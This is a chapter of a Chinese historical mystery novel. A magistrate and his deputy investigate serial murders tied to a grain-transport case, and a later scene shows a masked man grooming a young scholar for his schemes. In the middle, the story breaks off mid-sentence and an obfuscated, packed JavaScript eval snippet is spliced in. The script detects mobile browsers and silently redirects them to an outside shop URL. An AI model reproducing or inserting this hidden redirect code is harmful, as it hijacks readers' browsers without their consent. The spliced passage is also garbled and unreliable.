前段日子的凶杀案使全城都人心惶惶,眼下凶犯还未被捉拿归案。
是以提刑司已介入勘察。尤其入夜以后,提刑大人楚思尧带了一队厢军亲自在城中巡视,以安抚民心。
这不,楚思尧亲自巡查至丑时才回到衙署,后半夜的巡察任务交给副手周崖青。
楚思尧一路踏着夜色,走进退思堂,身后还跟着一个同样挺拔如松的男子。
男子快步走上前去,点亮一盏烛火,暖光映亮半间屋子,在墙上投下两个挺拔而摇曳的人影。
楚思尧卸下大氅,将佩剑悬于壁上。坐在桌案旁的交椅,桌案上整整齐齐堆放着几摞公文与卷宗。揉了揉眉心,拿起其中一份卷宗开始看。
“这凶手深夜杀人,没留下半点痕迹,只能挨家挨户地问事发当晚有谁不在家中及其去向,还要调查被杀的那几户人家之前做了些什么事,怎会接连被杀。”
说话那人叫景在云,是武提刑,也就是楚思尧的副手。
只见他抱胸坐在一侧交椅上,眉眼间显出倦意,长长吐出一口气,懒懒道:“也不知何时能捉拿归案,都多长时间没睡过一个好觉了。”
目光落在认真看卷宗的楚思尧身上,见他忙活了半夜回来竟还要看卷宗,摇头笑道:“楚思尧,你真是铁打的。你知道我自小到大最佩服你什么吗?不是你武力在我之上,而是你不仅武力在我身上,还长了颗好脑子,读书时先生赞你文采斐然,入仕后圣上视你为璞玉珍宝……”
景在云滔滔不绝说了半柱香,坐在桌案前的那人依旧岿然不动,神色静穆地翻看卷宗,不知有没有听进去一个字。
见状,景在云握拳轻咳一声:“好了,我说点正经事。被杀的那几户人家都是平头百姓,有说书人,有杂耍艺人,有算命的,还有一个青楼乐师,均是死于家中。可有一人不同——就是你的大舅父杨清,他是杭州府出了名的富商,死在织锦溪尽头的山林里。我实在是想不通这凶手是怎么锁定目标的,或许他就是话本子里那种视人为器、天性凉薄的杀人狂。不知楚大人怎么看这件事?”
楚思尧这才眼帘一抬,幽幽烛火映在他的寒眸里,像是深渊里绽开一簇星火,沉然道:“你有没有想过,凶手既然敢神不知鬼不觉地将人杀在家中,那么他就不怕人查。”
景在云啧了一声:“他倒是自信,这确实有自信的底气,手脚比你我的脸还干净。”又眯眼,拖着嗓音道:“那他娘的怎么查啊?”
“破案以及搜查要犯,讲究的是天时地利人和。你信不信,时机到了,一切自然水落石出。”
楚思尧唇角微扬,笑意投石入湖,在那张平静清冽的脸上漾开浅浅的涟漪。
景在云意味深长地看着楚思尧,讪笑着道:“楚大人,我最近怎么有些不认识你了。你不是一直说什么事在人为吗?公事于你而言绝非儿戏。那个眉头呀,皱得能夹死不幸路过的蚊子。眼下又说什么天时地利人和。”
楚思尧一时无言,半晌后欲言又止,不知该说什么索性垂眸看卷宗。
景在云顺着楚思尧的目光低头看那份卷宗,旁边还有一份漕运损耗册,顿时脖子一缩,疑道:“什么时候漕运受风浪而损耗货物的卷宗都开始归我们管了?你不是一向懒得管你爹和漕司的事吗?而且据我所知,这是十月初的事。”
他皱着的眉头倏然舒展,脸上瞬间浮现一片明朗,像是突然想到了什么,恍然大悟。
楚思尧轻抬一侧眉,嘴角噙了一抹淡淡的笑,定定看着他,做出一副洗耳恭听的姿态。
“不是吧,你什么时候跟你爹关系这么好了?你原谅他了?我们多少年的兄弟,这么重要的事你居然不告诉我。”
一语毕,像是本来以为一块巨石要从天而降,狠狠地将地面给砸开个坑,没成想出现的是一片浮羽,在空中慢悠悠地飘着,半落不落。
楚思尧一脸看傻子的表情看他,淡淡道了句:“是的,没错。他再怎么样,也是我爹,这个爹早晚得认。”
见景在云一脸不可置信,楚思尧扶垂眸叹气,忍不住又说:“景大人,你再猜猜?我为何非要在这个时候看漕运损耗的卷宗?”
景在云一介武官,思绪一般不想透过这些弯弯绕绕抵达它该到之地,楚思尧遂而准备开口,直接告诉他得了。
“你该不会是想说,漕运案有猫腻,这些被害的人可能与这案子有关,因而是被灭口的吧。”景在云声音低沉,咽了口唾沫,不可置信地看着楚思尧。
就知道他脑子没有完全生锈,孺子可教也。
楚思尧一脸欣慰,下颌轻点一下。
“那你是怀疑你爹……”声音陡然激动起来:“楚思尧,你真把我当兄弟了,这种事情你都告诉我。小时候河里真是没白捞你。”说着便一拳砸到楚思尧的胸膛上。忽然眼珠滴溜溜转,带着狡黠的试探:“你不信我出卖你?”
楚思尧面无表情地看着他,眼里七分冷漠三分嫌弃。
楚思尧不轻信于人,但他还真不相信景在云有那么深沉的心机,能在他身旁潜伏十几年,随后得知他的秘密出卖他。他虽年轻,但自问经历的人和事不算少,看清眼前这人还是绰绰有余的。
他从小羡慕景在云的坦荡敞亮,不像自己,胸中总堆着千层浪,桩桩件件沉在底下不见天光,只能将其酿作眸底的清寒。但身处官场中,只秉着一腔赤诚而远离宦海浮沉里的纷纷扰扰,并非是一件好事,即使景在云是武官。
“你我是兄弟,我自是不会瞒你。”顿了顿,神情和语气格外认真起来,“其实你知道,你我生在官宦之家,眼下又处在官场漩涡中,注定不能过一辈子安稳简单的日子。不论你愿意与否,或许不经意间已被人拉入漩涡中心,待懊悔时为时已晚。我希望,你能随我入局,既是为己,为我,也是为了我们身边珍视的人,你可愿意?”
既已入局,当有认清现实继而破釜沉舟的勇气。
楚思尧的神情认真严肃得可怕,萦绕在双眸的清冷水雾四散,可以让景在云透过他清澈坚定的双眸,直达他心底最赤忱之处。
景在云如曜黑眸直直对上楚思尧的认真目光,眼中的疑虑潮头缓缓漫过沙滩。就这样盯着他半晌,突然低头笑了笑,潮头败军般甘愿撤退。
沉默良久,眼里沉淀下来的似是磐石般的决心。楚思尧也朝他笑了笑,清冽又真诚。
其实景在云不是不聪明,只是不屑于同官场上的一些人勾心斗角,一直逸于自己在这风云变幻里找寻的温暖之地,继续着儿时的潇洒安逸。
现在终于有人冷漠地侵略进他自欺欺人的领地,却同他站在风雨中,坚定地告诉他:是时候该出去了,可愿随我直面风雨?
那人是他一起长大的兄弟,他信他。听到那一番话,他知道那人心中定是藏着什么事,遇到什么难处了。莫说他为了自己,就算为了楚思尧这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183074|196979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个兄弟,他也不该固步自封了,不能拖兄弟的后腿不是?
幽幽烛火中,二人目光相触,在沉默中达成了一种心照不宣的默契。
这日傍晚,宋逸翻墙离开刺史府后,便伴着西沉的夕阳,向家中一路走去。
宋逸住在杭州府最为偏远的南街,因而回到家时,早已到了掌灯时刻。
“吱呀”一声推开木门,小院一片漆黑,只看到一间屋里亮着微弱烛光。
宋逸走近屋门,轻轻扣了两下:“娘,您歇下了吗,可有用膳?”
屋里传来妇人不忿的急躁声音:“你还记得你有一个亲娘啊,你就尽管去找那个女人,哪天我死在家中,你还沉浸在温柔乡里。”妇人说完后又冷笑一声,屋里的烛光灭了。
暗夜里,宋逸听得一声长叹从身后传来,面色一动,转身大步走到一个黑衣人身前,对其一揖,亲切地唤其“叔父”。
淡淡月色下,那人负手而立,从头到脚一身黑,面上亦是覆一张玄黑面具,遮了大半张脸,只见一张薄如纸的唇。
二人一前一后走到小院的石磨旁。
“你娘这个性子,怪不得当年被你爹抛弃,害你自小流落至此。”黑衣人声音没有身上那股阴冷之气,反而醇厚温润,添了丝人的生气。
宋逸看了看他,垂眸说:“其实我娘待我很好,她是个可怜的女子。”抬眼对上黑衣人的目光,眉稍向下压,沉然道:“不管怎么样,我爹终究是抛弃了我娘,为了他的仕途和声名。”
黑衣人自然地拍了拍宋逸的肩,说:“我之前已说过,你娘当初并未告诉你爹,她怀了身孕一事。若是你爹知道,你觉得他还会那样做吗?尤其是像你这样聪慧又有志气的孩子。他其实很爱他的每一个孩子。”
“他爱他的每一个孩子,但他不会爱我。因为我只是一个低贱舞姬的孩子。”宋逸眼底乌沉沉的,却隐约透出自卑和不甘。
“那你就做出一番事业,让你爹在天之灵看看,他抛弃的儿子做成了他做不成的大事。”这句话字字有力,掷地有声,又一次与宋逸的内心产生共振。
心里仿佛养了头以欲望为食的野兽,喂给它越来越多的权欲,那么它的轮廓就会渐渐清晰,真正地变成一头凶猛无情的野兽。
看着宋逸眸里的阴沉,那是欲望,是势在必得的决心,黑衣人如刀薄唇上扬,透出一丝冷寒。
多年培养,眼下这头野兽显然快成熟,能放心驱驰它冲锋陷阵,只差自己接下来一步一步谋划,为它打通一条隐秘大道,方能让它无悔地奔向目的地。
宋逸“嗯”了一声。
“姜蕙安的心,你定要留住。好不容易令她倾心于你,莫要再出现什么差池,让旁人寻了可乘之机。你要记得,你二人之间或许还隔着那个人。”
“她今日说,待我一举高中,想让我成为她的驸马。”
似来了阵轻风,朦胧暮霭徐徐散去。璀璨星辰在墨色绸缎上熠熠生辉,也流泻进宋逸的灿眸里。
星眸一眨,面上的一片阴沉随云飘去,显出本该有的俊美温柔。
借着清辉月色,黑衣人凝视着宋逸的目光变得若有所思。
沉然开口:“感情之事于你而言本就是镜中花水中月,莫要溺于其中,让自己有了致命弱点,忘了自己本该做的事。”
宋逸面上的温柔之气散尽,又变得阴鸷而有欲望。顿了顿,抬眼“嗯”了一声。